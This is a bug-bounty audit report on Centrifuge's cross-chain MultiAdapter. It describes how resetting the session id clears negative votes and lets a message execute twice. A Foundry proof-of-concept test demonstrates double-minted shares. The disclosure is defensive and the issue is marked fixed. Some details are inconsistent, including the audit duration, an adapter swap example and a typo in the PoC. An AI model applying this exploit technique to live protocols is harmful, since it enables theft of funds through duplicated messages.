



Centrifuge Bug Bounty Audit Report

Prepared by [Burra Security](#)

Version 1.0

Researchers

LonelySloth

September 10, 2026

Contents

1 About Burra Security 2

2 Disclaimer 2

3 Risk Classification 2

4 Protocol Summary 2

5 Audit Scope 2

6 Executive Summary 3

7 Findings 4

7.1 Medium Risk 4

7.1.1 Incorrect reset of negative votes leads to double-execution of messages. 4

1 About Burra Security

Burra Security offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations. Learn about us at burrasec.com.

2 Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

3 Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Centrifuge is an open protocol for onchain asset tokenization built on a hub-and-spoke architecture. Each pool designates a single hub chain where pool accounting, share class management, and on-chain NAV computation are coordinated through Hub, Accounting, Holdings, and ShareClassManager; spoke chains host the user-facing vault and escrow infrastructure.

On spoke chains, pools expose per-asset balance sheets, share tokens, and vault registries supporting both synchronous deposits and asynchronous request-based deposit/redemption flows. Transfer restrictions are configurable per share class via pluggable hooks, FullRestrictions, FreezeOnly, RedemptionRestrictions, or FreelyTransferable, enabling compliance-ready tokenization of permissioned funds alongside open DeFi products. Asset pricing is modular, backed by OracleValuation and IdentityValuation implementations.

Vaults implement ERC-7540 (async request flows) and ERC-7575, integrating natively into DeFi composability layers. Cross-chain messaging is handled by a MultiAdapter gateway routing over Axelar, LayerZero, Wormhole, and Chainlink adapters simultaneously, providing fault-tolerant delivery across Cancun-compatible EVM chains. On- and off-ramp flows are served by OnOfframpManager with Circle and Vault decoder support, while MerkleProofManager enables trust-minimized spoke-side claim verification.

5 Audit Scope

The following smart contracts were in the scope of the audit:

```
src/*
```

6 Executive Summary

Over the course of 157 days, the Burra Security team conducted an audit on the [Centrifuge Bug Bounty](#) smart contracts provided by [Centrifuge](#). In this period, a total of 1 issues were found.

Summary

Project Name	Centrifuge Bug Bounty
Repository	v3.1.0
Commit	6b9d36eabee4...
Audit Timeline	Jan 29th - Sep 4th
Methods	Manual Review

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	1
Low Risk	0
Informational	0
Gas Optimizations	0
Total Issues	1

Summary of Findings

[M-1] Incorrect reset of negative votes leads to double-execution of messages.	Resolved
--	----------

7 Findings

7.1 Medium Risk

7.1.1 Incorrect reset of negative votes leads to double-execution of messages.

Target: MultiAdapter.sol

Severity:

- Impact: High
- Likelihood: Low

Description: The root cause is in the MultiAdapter session id logic.

Every call to MultiAdapter.setAdapters change the activeSessionId:

```
// Increment session id to reset pending votes
uint256 numAdapters = adapters[centrifugeId][poolId].length;
uint128 sessionId = lastSessionId + 1;

...

// Enable new adapters, setting quorum to number of adapters
for (uint8 j; j < quorum_; j++) {
    require(_adapterDetails[centrifugeId][poolId][addresses[j]].id == 0, NoDuplicatesAllowed());

    // Ids are assigned sequentially starting at 1
    _adapterDetails[centrifugeId][poolId][addresses[j]] =
        Adapter(j + 1, quorum_, threshold_, recoveryIndex_, sessionId);
}
```

In MultiAdapter.handle:

```
Adapter memory adapter = _adapterDetails[centrifugeId][poolId][adapterAddr];

...

Inbound storage state = inbound[centrifugeId][payloadHash];

...

if (adapter.activeSessionId != state.sessionId) {
    // Clear votes from previous session

    delete state.votes; // <= THIS!!!!

    state.sessionId = adapter.activeSessionId;
}
```

The problem is this code erases both positive votes **and negative votes**.

But *negative votes are what prevent double-execution when threshold < quorum!!!!*

Note that incrementing the session id doesn't really invalidate in-transit messages -- all it does is force a reset of votes already counted for that message, be them positive or negative

Since *there is no guarantee of ordering of x-chain messages, even within a single adapter, much less across adapters*, this means that when *setAdapters* is called *in transit* messages by different adapters can be split into being processed *before* and *after* the call to *setAdapters* -- which changes session id and causes negative votes to be reset.

Suppose a user initiated an action that causes "TransferShares" message to be sent to Spoke.

AND admin issues *setAdapter* at around the same time (no precise timing needed).

If there are two adapters configured in Multi-Adapter. There are three actions on the spoke chain:

1. Adapter 1 forwards "TransferShares" to MultiAdapter.
2. Adapter 2 forwards "TransferShares" to MultiAdapter.
3. MultiAdapter.setAdapter.

Because there is no ordering guarantee these can happen *in any order*. They can get scrambled without intervention, reordered by a malicious user triggering message deliver, or by reordering TXs MEV-style.

Suppose Threshold=1, what happens if the order is:

1. Adapter 1 forwards "TransferShares" to MultiAdapter.
2. MultiAdapter.setAdapter.
3. Adapter 2 forwards "TransferShares" to MultiAdapter.

(1) will trigger execution. (2) will change the session id. (3) will reset votes -- then trigger execution again!!!!

For a very real world example, suppose pool had Threshold=1, Quorum=2 (Axelar+Wormhole).

But for whatever reason (Wormhole was expensive?) admins change it to Threshold=1, Quorum=2 (Axelar+Chainlink).

Suppose there is a "TransferShares" message initiated at around the same time.

You can have:

1. Wormhole Adapter forwards "TransferShares" to MultiAdapter.
2. MultiAdapter.setAdapter.
3. Axelar Adapter forwards "TransferShares" to MultiAdapter.

(1) will trigger execution -- mint shares! (2) will change the session id. (3) will reset votes -- then trigger execution again!!!! mint more shares!!!!

Protocol just minted 2x as many shares in the Spoke chain.

If the pool is heavily used this is likely to happen without even a malicious action, leading at very least to serious disturbance to protocol with various incorrect state changes.

With a malicious actor this could be exploited to severe loss of funds by double-minting transferred shares.

Worst case is when several pools are batch-updated, which seems logical if there's a general policy change to prefer certain x-chain messaging bridges.

Note that this only requires a very normal admin action, no mistakes need to happen. No recovery adapters need to be configured or used either. The bar for this happening is *really low*.

Of course other types of messages can be affected too -- so this isn't the whole story. Still investigating maximum impact.

PoC:

```
pragma solidity 0.8.28;

// =====
// PoC: Session Reset Double-Spend -- End-to-End with Real Gateway
//
// Demonstrates exploit with quorum=2, threshold=1 using:
// - Real MultiAdapter (voting + session management)
// - Real Gateway (batch parsing, excessivelySafeCall, message routing)
// - Real GasService (message length/gas/poolId parsing)
// - Real Root (pause infrastructure)
```

```

// - Real MessageLib serialization (ExecuteTransferShares)
// - Counting processor mock (records how many times handle() is called)
//
// Scenario: [Axelar, Chainlink] threshold=1. Admin rotates to
// [Axelar, Wormhole]. Chainlink delivered "fast", Axelar is "slow" (or tx
// ordering is manipulated).
//
// Session reset between deliveries causes double execution.
// =====

import {Root} from "../../src/admin/Root.sol";
import {Gateway} from "../../src/core/messaging/Gateway.sol";
import {GasService} from "../../src/core/messaging/GasService.sol";
import {MultiAdapter} from "../../src/core/messaging/MultiAdapter.sol";
import {IAdapter} from "../../src/core/messaging/interfaces/IAdapter.sol";
import {IMessageHandler} from "../../src/core/messaging/interfaces/IMessageHandler.sol";
import {IMultiAdapter, MAX_ADAPTER_COUNT} from "../../src/core/messaging/interfaces/IMultiAdapter.sol";
import {MessageLib, MessageType} from "../../src/core/messaging/libraries/MessageLib.sol";
import {PoolId} from "../../src/core/types/PoolId.sol";
import {ShareClassId} from "../../src/core/types/ShareClassId.sol";

import "forge-std/Test.sol";

/// @dev Minimal processor that counts handle() calls per message hash
contract CountingProcessor is IMessageHandler {
    uint256 public handleCount;
    mapping(bytes32 => uint256) public perMessageCount;

    function handle(uint16, bytes calldata message) external {
        handleCount++;
        perMessageCount[keccak256(message)]++;
    }
}

contract TestExploit_SessionResetE2E is Test {
    using MessageLib for *;

    uint16 constant HUB_CENT_ID = 1; // source chain (hub)
    uint16 constant SPOKE_CENT_ID = 2; // local chain (spoke)

    // Pool ID encodes centrifugeId in upper bits: centrifugeId=1, poolIndex=42
    // PoolId = (uint64(centrifugeId) << 48) | poolIndex
    uint64 constant POOL_ID_RAW = (uint64(HUB_CENT_ID) << 48) | 42;
    PoolId constant POOL = PoolId.wrap(POOL_ID_RAW);

    ShareClassId constant SC = ShareClassId.wrap(bytes16(uint128(1)));
    address constant RECEIVER = address(0xBEEF);
    uint128 constant MINT_AMOUNT = 100e18;

    // Adapters (simulated bridge endpoints)
    IAdapter axelar = IAdapter(makeAddr("Axelar"));
    IAdapter chainlink = IAdapter(makeAddr("Chainlink"));
    IAdapter wormhole = IAdapter(makeAddr("Wormhole"));

    Root root;
    GasService gasService;
    Gateway gateway;
    MultiAdapter multiAdapter;
    CountingProcessor processor;

    // The real serialized ExecuteTransferShares message
    bytes message;

```

```

function setUp() public {
    // Build a real ExecuteTransferShares message using MessageLib
    message = MessageLib.ExecuteTransferShares({
        poolId: POOL_ID_RAW,
        scId: ShareClassId.unwrap(SC),
        receiver: bytes32(uint256(uint160(RECEIVER))),
        amount: MINT_AMOUNT,
        extraGasLimit: 0
    }).serialize();

    // Deploy real protocol contracts
    root = new Root(0, address(this));
    processor = new CountingProcessor();

    // GasService needs txLimits array -- use defaults (0 = DEFAULT_SUPPORTED_TX_LIMIT)
    uint8[32] memory txLimits;
    gasService = new GasService(txClimits);

    // Deploy real Gateway with real Root as pauser
    gateway = new Gateway(SPOKE_CENT_ID, root, address(this));
    gateway.file("processor", address(processor));
    gateway.file("messageProperties", address(gasService));

    // Deploy real MultiAdapter
    multiAdapter = new MultiAdapter(SPOKE_CENT_ID, gateway, address(this));
    multiAdapter.file("messageProperties", address(gasService));

    // Wire: Gateway trusts MultiAdapter as a ward
    gateway.rely(address(multiAdapter));
}

// =====
// Core PoC: 1/2 adapter rotation causes double execution
//
// Timeline (realistic adapter swap scenario):
// t0: Hub sends ExecuteTransferShares(mint 100e18 shares) through
//     [Axelar, Chainlink], threshold=1
// t1: Chainlink delivers fast -- threshold=1 met -- EXECUTE 1
// t2: Admin-initiated SetPoolAdapters lands, changing config to
//     [Axelar, Wormhole], threshold=1 (swap Chainlink for Wormhole)
//     Session ID increments, vote debt is cleared
// t3: Axelar delivers (slow, first time) -- fresh vote on clean
//     slate -- threshold=1 met -- EXECUTE 2
//
// Result: same message forwarded to processor twice.
// In production: 200e18 shares minted instead of 100e18.
// =====
function test_exploit_adapterSwapDoubleExecution() public {
    // --- Config: [Axelar, Chainlink], threshold=1, quorum=2 ---
    IAdapter[] memory config1 = new IAdapter[](2);
    config1[0] = axelar;
    config1[1] = chainlink;
    multiAdapter.setAdapters(HUB_CENT_ID, POOL, config1, 1, 2);

    // --- t1: Chainlink delivers (fast bridge) ---
    vm.prank(address(chainlink));
    multiAdapter.handle(HUB_CENT_ID, message);

    assertEq(processor.handleCount(), 1, "First execution via Chainlink");
    assertEq(
        processor.perMessageCount(keccak256(message)), 1, "Message executed once so far"
    );
}

```

```

);

// --- t2: Admin rotates adapters: swap Chainlink for Wormhole ---
// This is a SetPoolAdapters cross-chain message that landed between
// the fast and slow bridge deliveries of the financial message.
IAdapter[] memory config2 = new IAdapter[](2);
config2[0] = axelar;
config2[1] = wormhole;
multiAdapter.setAdapters(HUB_CENT_ID, POOL, config2, 1, 2);

// Chainlink is now removed (id=0). Wormhole added but has no
// pending delivery for the old message. Axelar is retained and
// its bridge is still delivering the original message.

// --- t3: Axelar delivers (slow bridge, FIRST TIME) ---
vm.prank(address(axelar));
multiAdapter.handle(HUB_CENT_ID, message);

// The message was forwarded to the Gateway (and then processor) TWICE
assertEq(processor.handleCount(), 2, "DOUBLE EXECUTION: message processed twice");
assertEq(
    processor.perMessageCount(keccak256(message)),
    2,
    "Same ExecuteTransferShares executed twice -- 200e18 shares would be minted"
);
}
}

```

Recommended Mitigation: Either negative votes should be preserved or an alternative method for preventing double-execution should be created (e.g. nonces).

Centrifuge: Confirmed as Medium.

BurraSec: the new tracking of per-session-id votes eliminates the attack/failure vector. Fixed as of <https://github.com/centrifuge/protocol-internal/blob/3397d6025cd7a300c860b29ab9beef5948113f34/src/core/messaging/MultiAdapter.sol>